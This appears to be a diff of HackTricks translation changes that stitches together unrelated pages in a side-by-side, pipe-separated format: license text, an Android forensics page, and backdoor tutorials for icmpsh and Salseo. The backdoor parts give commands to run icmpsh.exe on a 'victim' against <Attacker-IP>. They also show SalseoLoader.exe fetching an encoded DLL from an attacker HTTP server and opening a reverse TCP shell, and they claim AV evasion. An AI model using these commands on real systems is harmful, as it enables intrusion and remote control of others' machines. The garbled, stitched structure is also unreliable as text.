b. __Na medida do possível, em nenhum caso o Licenciante será responsável perante Você sob qualquer teoria legal (incluindo, sem limitação, negligência) ou de outra forma por quaisquer perdas diretas, especiais, indiretas, incidentais, consequentes, punitivas, exemplares ou outros prejuízos, custos, despesas ou danos decorrentes desta Licença Pública ou uso do Material Licenciado, mesmo que o Licenciante tenha sido avisado da possibilidade de tais perdas, custos, despesas ou danos. Quando uma limitação de responsabilidade não é permitida na íntegra ou em parte, esta limitação pode não se aplicar a Você.__
|
b. __Na medida do possível, em nenhuma circunstância o Licenciante será responsável a Você sob qualquer teoria legal (incluindo, sem limitação, negligência) ou de outra forma por quaisquer perdas, custos, despesas ou danos diretos, especiais, indiretos, incidentais, consequenciais, punitivos, exemplares ou outros decorrentes desta Licença Pública ou do uso do Material Licenciado, mesmo que o Licenciante tenha sido avisado da possibilidade de tais perdas, custos, despesas ou danos. Onde uma limitação de responsabilidade não é permitida total ou parcialmente, esta limitação pode não se aplicar a Você.__
|
||||||
|
|
||||||
c. A isenção de garantias e a limitação de responsabilidade fornecidas acima devem ser interpretadas de maneira que, na medida do possível, se aproximem de uma isenção absoluta e renúncia de toda responsabilidade.
|
c. A isenção de garantias e a limitação de responsabilidade fornecidas acima serão interpretadas de uma maneira que, na medida do possível, mais se aproxime de uma isenção absoluta e renúncia de toda responsabilidade.
|
||||||
|
|
||||||
## Seção 6 - Prazo e Rescisão.
|
## Seção 6 – Prazo e Rescisão.
|
||||||
|
|
||||||
a. Esta Licença Pública se aplica pelo prazo dos Direitos Autorais e Direitos Semelhantes licenciados aqui. No entanto, se Você deixar de cumprir com esta Licença Pública, então Seus direitos sob esta Licença Pública terminam automaticamente.
|
a. Esta Licença Pública se aplica pelo prazo dos Direitos Autorais e Direitos Similares licenciados aqui. No entanto, se Você não cumprir esta Licença Pública, então seus direitos sob esta Licença Pública terminam automaticamente.
|
||||||
|
|
||||||
b. Quando Seu direito de usar o Material Licenciado terminar sob a Seção 6(a), ele será restabelecido:
|
b. Onde seu direito de usar o Material Licenciado foi encerrado sob a Seção 6(a), ele é restabelecido:
|
||||||
|
|
||||||
1. automaticamente a partir da data em que a violação for corrigida, desde que seja corrigida dentro de 30 dias da descoberta da violação por Você; ou
|
1. automaticamente a partir da data em que a violação é corrigida, desde que seja corrigida dentro de 30 dias após sua descoberta da violação; ou
|
||||||
|
|
||||||
2. mediante restabelecimento expresso pelo Licenciante.
|
2. mediante restabelecimento expresso pelo Licenciante.
|
||||||
|
|
||||||
Para evitar dúvidas, esta Seção 6(b) não afeta qualquer direito que o Licenciante possa ter de buscar remédios por Suas violações desta Licença Pública.
|
Para evitar dúvidas, esta Seção 6(b) não afeta qualquer direito que o Licenciante possa ter de buscar remédios para suas violações desta Licença Pública.
|
||||||
|
|
||||||
c. Para evitar dúvidas, o Licenciante também pode oferecer o Material Licenciado sob termos ou condições separados ou interromper a distribuição do Material Licenciado a qualquer momento; no entanto, fazer isso não irá rescindir esta Licença Pública.
|
c. Para evitar dúvidas, o Licenciante também pode oferecer o Material Licenciado sob termos ou condições separadas ou parar de distribuir o Material Licenciado a qualquer momento; no entanto, fazer isso não encerrará esta Licença Pública.
|
||||||
|
|
||||||
d. As Seções 1, 5, 6, 7 e 8 sobrevivem à rescisão desta Licença Pública.
|
d. As Seções 1, 5, 6, 7 e 8 sobrevivem à rescisão desta Licença Pública.
|
||||||
## Seção 7 - Outros Termos e Condições.
|
|
||||||
|
|
||||||
a. O Licenciante não será vinculado por quaisquer termos ou condições adicionais ou diferentes comunicados por Você, a menos que expressamente acordado.
|
## Seção 7 – Outros Termos e Condições.
|
||||||
|
|
||||||
b. Quaisquer acordos, entendimentos ou acordos relativos ao Material Licenciado não declarados aqui são separados e independentes dos termos e condições desta Licença Pública.
|
a. O Licenciante não será vinculado por quaisquer termos ou condições adicionais ou diferentes comunicados por Você, a menos que expressamente acordados.
|
||||||
|
|
||||||
## Seção 8 - Interpretação.
|
b. Quaisquer arranjos, entendimentos ou acordos sobre o Material Licenciado não declarados aqui são separados e independentes dos termos e condições desta Licença Pública.
|
||||||
|
|
||||||
a. Para evitar dúvidas, esta Licença Pública não reduz, limita, restringe ou impõe condições a qualquer uso do Material Licenciado que possa ser feito legalmente sem permissão sob esta Licença Pública.
|
## Seção 8 – Interpretação.
|
||||||
|
|
||||||
b. Na medida do possível, se alguma disposição desta Licença Pública for considerada inexequível, ela será automaticamente reformada para o mínimo necessário para torná-la exequível. Se a disposição não puder ser reformada, ela será separada desta Licença Pública sem afetar a exequibilidade dos termos e condições restantes.
|
a. Para evitar dúvidas, esta Licença Pública não reduz, limita, restringe ou impõe condições sobre qualquer uso do Material Licenciado que poderia ser legalmente feito sem permissão sob esta Licença Pública.
|
||||||
|
|
||||||
c. Nenhum termo ou condição desta Licença Pública será renunciado e nenhuma falha em cumprir será consentida, a menos que expressamente acordado pelo Licenciante.
|
b. Na medida do possível, se qualquer disposição desta Licença Pública for considerada inexequível, ela será automaticamente reformulada na extensão mínima necessária para torná-la exequível. Se a disposição não puder ser reformulada, ela será separada desta Licença Pública sem afetar a exequibilidade dos termos e condições restantes.
|
||||||
|
|
||||||
d. Nada nesta Licença Pública constitui ou pode ser interpretado como uma limitação ou renúncia de quaisquer privilégios e imunidades que se apliquem ao Licenciante ou a Você, incluindo dos processos legais de qualquer jurisdição ou autoridade.
|
c. Nenhum termo ou condição desta Licença Pública será renunciado e nenhuma falha em cumprir será consentida, a menos que expressamente acordada pelo Licenciante.
|
||||||
|
|
||||||
|
d. Nada nesta Licença Pública constitui ou pode ser interpretado como uma limitação ou renúncia a quaisquer privilégios e imunidades que se aplicam ao Licenciante ou a Você, incluindo dos processos legais de qualquer jurisdição ou autoridade.
|
||||||
```
|
```
|
||||||
Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
|
Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at [creativecommons.org/policies](http://creativecommons.org/policies), Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
|
||||||
|
|
||||||
Creative Commons may be contacted at [creativecommons.org](http://creativecommons.org/).
|
Creative Commons may be contacted at [creativecommons.org](http://creativecommons.org/).
|
||||||
```
|
```
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Suporte ao HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -867,3 +867,4 @@
|
||||||
* [Post Exploitation](todo/post-exploitation.md)
|
* [Post Exploitation](todo/post-exploitation.md)
|
||||||
* [Investment Terms](todo/investment-terms.md)
|
* [Investment Terms](todo/investment-terms.md)
|
||||||
* [Cookies Policy](todo/cookies-policy.md)
|
* [Cookies Policy](todo/cookies-policy.md)
|
||||||
|
|
||||||
|
|
|
@ -1,16 +1,16 @@
|
||||||
# Forense Android
|
# Android Forensics
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -19,15 +19,15 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
Para começar a extrair dados de um dispositivo Android, ele precisa estar desbloqueado. Se estiver bloqueado, você pode:
|
Para começar a extrair dados de um dispositivo Android, ele precisa estar desbloqueado. Se estiver bloqueado, você pode:
|
||||||
|
|
||||||
* Verificar se o dispositivo possui a depuração via USB ativada.
|
* Verificar se o dispositivo tem depuração via USB ativada.
|
||||||
* Verificar a possibilidade de um [ataque de impressões digitais](https://www.usenix.org/legacy/event/woot10/tech/full\_papers/Aviv.pdf)
|
* Verificar um possível [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)
|
||||||
* Tentar com [Força Bruta](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)
|
* Tentar com [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)
|
||||||
|
|
||||||
## Aquisição de Dados
|
## Aquisição de Dados
|
||||||
|
|
||||||
Crie um [backup do Android usando adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) e extraia-o usando o [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
|
Crie um [backup android usando adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) e extraia-o usando [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
|
||||||
|
|
||||||
### Se tiver acesso root ou conexão física com a interface JTAG
|
### Se acesso root ou conexão física à interface JTAG
|
||||||
|
|
||||||
* `cat /proc/partitions` (procure o caminho para a memória flash, geralmente a primeira entrada é _mmcblk0_ e corresponde a toda a memória flash).
|
* `cat /proc/partitions` (procure o caminho para a memória flash, geralmente a primeira entrada é _mmcblk0_ e corresponde a toda a memória flash).
|
||||||
* `df /data` (Descubra o tamanho do bloco do sistema).
|
* `df /data` (Descubra o tamanho do bloco do sistema).
|
||||||
|
@ -38,16 +38,16 @@ Crie um [backup do Android usando adb](mobile-pentesting/android-app-pentesting/
|
||||||
Use o Linux Memory Extractor (LiME) para extrair as informações da RAM. É uma extensão do kernel que deve ser carregada via adb.
|
Use o Linux Memory Extractor (LiME) para extrair as informações da RAM. É uma extensão do kernel que deve ser carregada via adb.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,25 +1,26 @@
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Baixe o backdoor em: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
|
||||||
|
|
||||||
# Lado do Cliente
|
Baixe a backdoor de: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
||||||
|
|
||||||
|
# Lado do cliente
|
||||||
|
|
||||||
Execute o script: **run.sh**
|
Execute o script: **run.sh**
|
||||||
|
|
||||||
**Se você receber algum erro, tente alterar as linhas:**
|
**Se você receber algum erro, tente mudar as linhas:**
|
||||||
```bash
|
```bash
|
||||||
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
|
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
|
||||||
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
|
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
|
||||||
|
@ -31,21 +32,21 @@ read IP
|
||||||
```
|
```
|
||||||
# **Lado da Vítima**
|
# **Lado da Vítima**
|
||||||
|
|
||||||
Faça o upload do **icmpsh.exe** para a vítima e execute:
|
Faça o upload de **icmpsh.exe** para a vítima e execute:
|
||||||
```bash
|
```bash
|
||||||
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
|
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
|
||||||
```
|
```
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte o HackTricks</summary>
|
<summary>Suporte ao HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,39 +1,39 @@
|
||||||
# Salseo
|
# Salseo
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Compilando os binários
|
## Compiling the binaries
|
||||||
|
|
||||||
Baixe o código-fonte do github e compile **EvilSalsa** e **SalseoLoader**. Você precisará do **Visual Studio** instalado para compilar o código.
|
Baixe o código-fonte do github e compile **EvilSalsa** e **SalseoLoader**. Você precisará do **Visual Studio** instalado para compilar o código.
|
||||||
|
|
||||||
Compile esses projetos para a arquitetura do Windows onde você irá usá-los (Se o Windows suportar x64, compile-os para essa arquitetura).
|
Compile esses projetos para a arquitetura da máquina Windows onde você vai usá-los (Se o Windows suportar x64, compile-os para essa arquitetura).
|
||||||
|
|
||||||
Você pode **selecionar a arquitetura** dentro do Visual Studio na **aba "Build"** em **"Platform Target".**
|
Você pode **selecionar a arquitetura** dentro do Visual Studio na **aba "Build" à esquerda** em **"Platform Target".**
|
||||||
|
|
||||||
(\*\*Se você não encontrar essas opções, clique em **"Project Tab"** e depois em **"\<Nome do Projeto> Properties"**)
|
(\*\*Se você não encontrar essas opções, clique na **"Project Tab"** e depois em **"\<Project Name> Properties"**)
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (132).png>)
|
![](<../.gitbook/assets/image (132).png>)
|
||||||
|
|
||||||
Em seguida, compile ambos os projetos (Build -> Build Solution) (Dentro dos logs aparecerá o caminho do executável):
|
Então, construa ambos os projetos (Build -> Build Solution) (Dentro dos logs aparecerá o caminho do executável):
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
|
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
|
||||||
|
|
||||||
## Preparar o Backdoor
|
## Prepare the Backdoor
|
||||||
|
|
||||||
Primeiramente, você precisará codificar o **EvilSalsa.dll.** Para fazer isso, você pode usar o script python **encrypterassembly.py** ou pode compilar o projeto **EncrypterAssembly**:
|
Primeiro de tudo, você precisará codificar o **EvilSalsa.dll.** Para isso, você pode usar o script python **encrypterassembly.py** ou pode compilar o projeto **EncrypterAssembly**:
|
||||||
|
|
||||||
### **Python**
|
### **Python**
|
||||||
```
|
```
|
||||||
|
@ -45,27 +45,27 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
|
||||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||||
```
|
```
|
||||||
Ok, agora você tem tudo o que precisa para executar todo o Salseo: o **EvilDalsa.dll codificado** e o **binário do SalseoLoader.**
|
Ok, agora você tem tudo o que precisa para executar toda a coisa do Salseo: o **EvilDalsa.dll codificado** e o **binário do SalseoLoader.**
|
||||||
|
|
||||||
**Faça o upload do binário SalseoLoader.exe para a máquina. Eles não devem ser detectados por nenhum AV...**
|
**Faça o upload do binário SalseoLoader.exe para a máquina. Eles não devem ser detectados por nenhum AV...**
|
||||||
|
|
||||||
## **Executar a backdoor**
|
## **Executar o backdoor**
|
||||||
|
|
||||||
### **Obtendo um shell reverso TCP (baixando dll codificada através do HTTP)**
|
### **Obter um shell reverso TCP (baixando dll codificada através de HTTP)**
|
||||||
|
|
||||||
Lembre-se de iniciar um nc como ouvinte do shell reverso e um servidor HTTP para servir o EvilDalsa codificado.
|
Lembre-se de iniciar um nc como o ouvinte do shell reverso e um servidor HTTP para servir o evilsalsa codificado.
|
||||||
```
|
```
|
||||||
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||||
```
|
```
|
||||||
### **Obtendo um shell reverso UDP (baixando dll codificada através do SMB)**
|
### **Obtendo um shell reverso UDP (baixando dll codificada através do SMB)**
|
||||||
|
|
||||||
